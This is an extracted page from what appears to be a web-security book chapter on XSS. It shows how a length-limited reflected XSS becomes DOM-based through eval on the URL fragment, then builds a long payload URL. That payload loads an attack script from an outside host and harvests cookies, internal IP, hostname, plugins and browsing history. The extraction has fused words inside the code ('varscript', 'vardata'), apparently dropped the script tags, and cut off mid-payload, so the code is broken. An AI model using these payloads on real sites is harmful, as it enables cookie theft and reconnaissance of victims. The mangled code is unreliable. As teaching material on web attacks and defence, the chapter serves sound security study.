Download

146 Chapter 4 • XSS TheoryGranted, we are still able to perform injection of a remote script via:http://www.acme.com/path/to/search.asp?query=">However, this approach is not suitable in situations requiring stealth and anonymity, notto mention that we rely on an external server to provide the malicious logic, which can beeasily blocked. So, what other options do we have?If you investigate all other possible ways of injecting JavaScript into a sanitized field youwill see that there are not that many options available. However, with a simple trick we canconvert reflected XSS vulnerability into a DOM-based XSS issue.This is achieved like this:http://www.acme.com/path/to/search.asp?query=">eval(location.hash.substr(1))#alert('xss')Let’s examine the exploit. First of all, the value of the query field is within the restrictionsof the application: our code is only 48 characters. Notice that in the place of the [payload]we have eval(location.hash.substr(1)), which calls the JavaScript evalfunction on the hash parameter.The hash, also known as the fragment identifier, is data thatfollows the # sign, which in our case is alert(‘xss’).NOTEFragment identifiers are mechanisms for referring to anchors in Web pages.The anchor is a tag to which ‘hash’ is an id attribute. If we have a long pagethat contains several chapters of a book, we may want to create links withinthe page so we can get to the top, the bottom, and the middle of the contentquicker. These links are called anchors.By using this technique, we can put as much data as we want and the application willbelieve that only 48 characters are injected. For example, let’s create a massive attack:http://www.acme.com/path/to/search.asp?query=">eval(location.hash.substr(1))#function include(url,onload){varscript=document.createElement('script');script.type='text/javascript';script.onload=onload;script.src=url;document.body.appendChild(script)};include('http://www.gnucitizen.org/projects/attackapi/AttackAPI-standalone.js',function(){vardata={agent:$A.getAgent(),platform:$A.getPlatform(),cookies:$A.buildQuery($A.getCookies()),plugins:$A.getPlugins().join(','),ip:$A.getInternalIP(),hostname:$A.getInternalHostname(),extensions:[],states:[],history:[]};varcompleted=0;$A.scanExtensions({onfound:function(signature){data.extensions.push(signature.name)},oncomplete:function(){completed+=1}});$A.scanStates({onfound:function(signature){data.states.push(signature.name)},oncomplete:function(){completed+=1}});$A.scanHistory({onfound:function(url){data.history.push(url)},oncomplete:function(){completed+=1}});vartmr=window.setInterval(function(){if(completed